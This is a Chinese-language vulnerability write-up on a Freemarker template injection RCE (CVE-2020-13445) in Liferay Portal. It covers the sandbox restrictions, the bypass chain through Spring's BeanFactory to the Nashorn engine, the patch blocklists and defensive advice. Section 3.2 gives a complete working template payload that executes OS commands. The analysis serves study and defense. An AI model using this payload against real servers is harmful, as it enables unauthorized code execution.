Liferay+Portal+模板注入RCE分析
字数 2009 2025-08-10 08:28:55

Liferay Portal 模板注入RCE分析与利用

0x01 漏洞概述

Liferay Portal中存在一个Freemarker模板注入漏洞(CVE-2020-13445),允许具有编辑模板权限的用户通过精心构造的模板实现远程代码执行。该漏洞的核心在于绕过了Liferay Portal自定义的安全保护机制,通过Freemarker模板实例化任意对象完成沙箱逃逸。

0x02 安全机制分析

2.1 对象包装器限制

Liferay Portal实现了自定义的RestrictedLiferayObjectWrapper,在访问对象时会触发wrap方法进行黑、白名单校验:

class com.liferay.portal.template.freemarker.internal.RestrictedLiferayObjectWrapper

构造方法参数:

  • String[] allowedClassNames - 允许的类名列表
  • String[] restrictedClassNames - 受限的类名列表
  • String[] restrictedMethodNames - 受限的方法名列表

2.2 受限类列表

以下类被明确限制:

com.liferay.portal.json.jabsorb.serializer.LiferayJSONDeserializationWhitelist
java.lang.Class
java.lang.ClassLoader
java.lang.Compiler
java.lang.Package
java.lang.Process
java.lang.Runtime
java.lang.RuntimePermission
java.lang.SecurityManager
java.lang.System
java.lang.Thread
java.lang.ThreadGroup
java.lang.ThreadLocal

2.3 受限变量

以下变量被限制使用:

httpUtilUnsafe
objectUtil
serviceLocator
staticFieldGetter
staticUtil
utilLocator

2.4 类解析器限制

com.liferay.portal.template.freemarker.internal.LiferayTemplateClassResolver实现了Freemarker的TemplateClassResolver接口,在加载class时会调用resolve方法进行校验:

  • ExecuteObjectConstructor类无法被加载
  • 非白名单中的类无法被加载

0x03 漏洞利用链分析

尽管存在上述限制,攻击者可以通过模板上下文中暴露的对象方法进行链式调用,绕过安全机制实现任意对象实例化。

3.1 关键利用步骤

  1. 获取ServletContext

    • 通过内置对象${renderRequest}(类型为com.liferay.portlet.internal.RenderRequestImpl)
    • 调用getPortletContext()获取PortletContext对象
    • 调用getServletContext()获取ServletContext(由ASM生成)
  2. 获取原生ServletContext

    • 通过ASM生成的ServletContext调用getContext("/")获取容器原生的ServletContext
  3. 获取Spring ApplicationContext

    • 通过原生ServletContext调用getAttribute("org.springframework.web.context.WebApplicationContext.ROOT")
    • 获取PortalApplicationContext(继承自Spring的XmlWebApplicationContext)
  4. 操作BeanFactory

    • 通过PortalApplicationContext调用getBeanFactory()获取LiferayBeanFactory
    • 通过LiferayBeanFactory调用getBeanDefinition("com.liferay.document.library.kernel.service.DLAppService")获取BeanDefinition
  5. 篡改BeanDefinition

    • 调用setScope("prototype")修改scope为非单例
    • 调用setBeanClassName("jdk.nashorn.api.scripting.NashornScriptEngineFactory")修改BeanClass为Nashorn脚本引擎工厂
  6. 重新注册BeanDefinition

    • 通过LiferayBeanFactory调用registerBeanDefinition重新注册篡改后的BeanDefinition
  7. 获取并执行脚本引擎

    • 通过LiferayBeanFactory调用getBean创建Nashorn脚本引擎工厂对象
    • 调用getScriptEngine()获取Nashorn脚本引擎
    • 调用eval执行恶意脚本

3.2 完整Payload示例

<#assign sp=renderRequest.getPortletContext().getServletContext().getContext("/").getAttribute("org.springframework.web.context.WebApplicationContext.ROOT").getBeanFactory().getBeanDefinition("com.liferay.document.library.kernel.service.DLAppService")>
<#assign ec=sp.setScope("prototype")>
<#assign eb=sp.setBeanClassName("jdk.nashorn.api.scripting.NashornScriptEngineFactory")>
<#assign xx=renderRequest.getPortletContext().getServletContext().getContext("/").getAttribute("org.springframework.web.context.WebApplicationContext.ROOT").getBeanFactory().registerBeanDefinition("sp",sp)>
<#assign res=renderRequest.getPortletContext().getServletContext().getContext("/").getAttribute("org.springframework.web.context.WebApplicationContext.ROOT").getBeanFactory().getBean("sp").getScriptEngine().eval("var a = new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','whoami']);var b=a.start().getInputStream();var c=Java.type('com.liferay.portal.kernel.util.StreamUtil');var d=new java.io.ByteArrayOutputStream();c.transfer(b,d,1024,false);var e=new java.lang.String(d.toByteArray());e")>
${res}

0x04 补丁分析

在Liferay Portal 7.3.2-GA3版本中增加了以下黑名单,特别是增加了com.liferay.portal.spring.context.*导致无法访问Spring ApplicationContext:

com.ibm.*
com.liferay.portal.spring.context.*
io.undertow.*
org.apache.*
org.glassfish.*
org.jboss.*
org.springframework.*
org.wildfly.*
weblogic.*

0x05 防御建议

  1. 及时升级到Liferay Portal 7.3.2-GA3或更高版本
  2. 严格控制模板编辑权限
  3. 监控和审计模板修改操作
  4. 实施最小权限原则,避免不必要的权限分配
Liferay Portal 模板注入RCE分析与利用 0x01 漏洞概述 Liferay Portal中存在一个Freemarker模板注入漏洞(CVE-2020-13445),允许具有编辑模板权限的用户通过精心构造的模板实现远程代码执行。该漏洞的核心在于绕过了Liferay Portal自定义的安全保护机制,通过Freemarker模板实例化任意对象完成沙箱逃逸。 0x02 安全机制分析 2.1 对象包装器限制 Liferay Portal实现了自定义的 RestrictedLiferayObjectWrapper ,在访问对象时会触发wrap方法进行黑、白名单校验: 构造方法参数: String[] allowedClassNames - 允许的类名列表 String[] restrictedClassNames - 受限的类名列表 String[] restrictedMethodNames - 受限的方法名列表 2.2 受限类列表 以下类被明确限制: 2.3 受限变量 以下变量被限制使用: 2.4 类解析器限制 com.liferay.portal.template.freemarker.internal.LiferayTemplateClassResolver 实现了Freemarker的 TemplateClassResolver 接口,在加载class时会调用resolve方法进行校验: Execute 、 ObjectConstructor 类无法被加载 非白名单中的类无法被加载 0x03 漏洞利用链分析 尽管存在上述限制,攻击者可以通过模板上下文中暴露的对象方法进行链式调用,绕过安全机制实现任意对象实例化。 3.1 关键利用步骤 获取ServletContext : 通过内置对象 ${renderRequest} (类型为 com.liferay.portlet.internal.RenderRequestImpl ) 调用 getPortletContext() 获取 PortletContext 对象 调用 getServletContext() 获取 ServletContext (由ASM生成) 获取原生ServletContext : 通过ASM生成的 ServletContext 调用 getContext("/") 获取容器原生的 ServletContext 获取Spring ApplicationContext : 通过原生 ServletContext 调用 getAttribute("org.springframework.web.context.WebApplicationContext.ROOT") 获取 PortalApplicationContext (继承自Spring的 XmlWebApplicationContext ) 操作BeanFactory : 通过 PortalApplicationContext 调用 getBeanFactory() 获取 LiferayBeanFactory 通过 LiferayBeanFactory 调用 getBeanDefinition("com.liferay.document.library.kernel.service.DLAppService") 获取BeanDefinition 篡改BeanDefinition : 调用 setScope("prototype") 修改scope为非单例 调用 setBeanClassName("jdk.nashorn.api.scripting.NashornScriptEngineFactory") 修改BeanClass为Nashorn脚本引擎工厂 重新注册BeanDefinition : 通过 LiferayBeanFactory 调用 registerBeanDefinition 重新注册篡改后的BeanDefinition 获取并执行脚本引擎 : 通过 LiferayBeanFactory 调用 getBean 创建Nashorn脚本引擎工厂对象 调用 getScriptEngine() 获取Nashorn脚本引擎 调用 eval 执行恶意脚本 3.2 完整Payload示例 0x04 补丁分析 在Liferay Portal 7.3.2-GA3版本中增加了以下黑名单,特别是增加了 com.liferay.portal.spring.context.* 导致无法访问Spring ApplicationContext: 0x05 防御建议 及时升级到Liferay Portal 7.3.2-GA3或更高版本 严格控制模板编辑权限 监控和审计模板修改操作 实施最小权限原则,避免不必要的权限分配